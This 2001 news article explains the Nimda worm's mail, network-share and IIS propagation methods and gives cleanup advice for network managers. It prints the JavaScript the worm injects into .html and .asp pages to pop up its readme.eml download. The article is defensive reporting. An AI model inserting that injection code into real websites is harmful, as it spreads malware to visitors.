Nimda Worm Poses a Triple Threat

The latest bit of malicious code is particularly insidious due to its blended approach of using three different delivery methods to propagate itself. We have the lowdown on what Nimda does, how it works, how to eradicate the worm, and what you can do to assure you won't be compromised by it.

By Jim Freund | Posted Sep 19, 2001
Page 1 of 2
Print ArticleEmail Article
  • Share on Facebook
  • Share on Twitter
  • Share on LinkedIn

Once again, a nasty worm is spreading itself around, and this time it's a particularly insidious one. The worm is called Nimda, which is Admin spelled backwards. The reason this nasty bit of code is noteworthy is not because it's innovative, but due to the fact that it uses three ways to propagate itself. Symantec's Senior Director of Security Response, Sharon Ruchman, terms Nimda a "triple threat" due to this method of blended delivery techniques.

The first is the one that has become most common in recent times -- mass mailing. An e-mail message will show up in a mailbox; usually with a garbled subject line and no text. There will be an attachment which looks like a .WAV file, but in fact links to an executable called "readme.exe". Nimda will attempt to exploit the usual Outlook vulnerabilities. These entail instances where the default options allow the software to launch attached files without user interaction. (Always a bad idea.) Thus, even previewing the message can trigger the worm. Assuming you have been updating Outlook with the security patches and checking the settings, this should not be a problem so long as your users have been advised about all kinds of attachments and are conscientious.

As with Melissa, the worm, once run, can send messages to every sender currently in your In Box and/or address book, as well as reply to the sender of the virused message itself.

The second method of propagation is the one network managers should be particularly aware of. Should you be using Network Share as a form of peer-to-peer workgroup connectivity, without any human interaction, Nimda will exploit that and begin writing a file called "README.EML". If a directory is found with either .html or .asp files, it will append JavaScript code as follows:

<script language="JavaScript">
window.open("readme.eml", null, "resizable=no,top=6000,left=6000")
</script></pre>
This will cause a popup browser window to open and offer Nimda as a download.

The third delivery method is Web-based. Like the Code Red Worm of a few months ago, Nimda sends its code over Port 80 as a HTTP request, attempts to copy itself to unpatched Microsoft IIS web servers, which in turn will allow the worm to run on those machines.

The consequences of being struck by Nimda are nasty and annoying, but not particularly destructive. Outside of the obvious fact that your security has been compromised, the greatest annoyances will be the potential flooding of your e-mail gateways and the DoS. Once the virus has been eradicated, these will go away. If your intranet or Internet pages use standard page formats, they may be compromised with the code mentioned above.

Removing Nimda is not in and of itself difficult -- you just have to be thorough. By this time, several vendors, including Symantec/Norton, have posted a virus definition update which will detect the malicious code and eradicate it. Network managers need to be aware of which machines have had network sharing turned on, and assure that others have not had their settings altered. Ruchman suggests that of you know that the infection was limited to a few machines that you simply rebuild them from scratch.

Comment and Contribute
(Maximum characters: 1200). You have
characters left.
Get the Latest Scoop with Enterprise Networking Planet Newsletter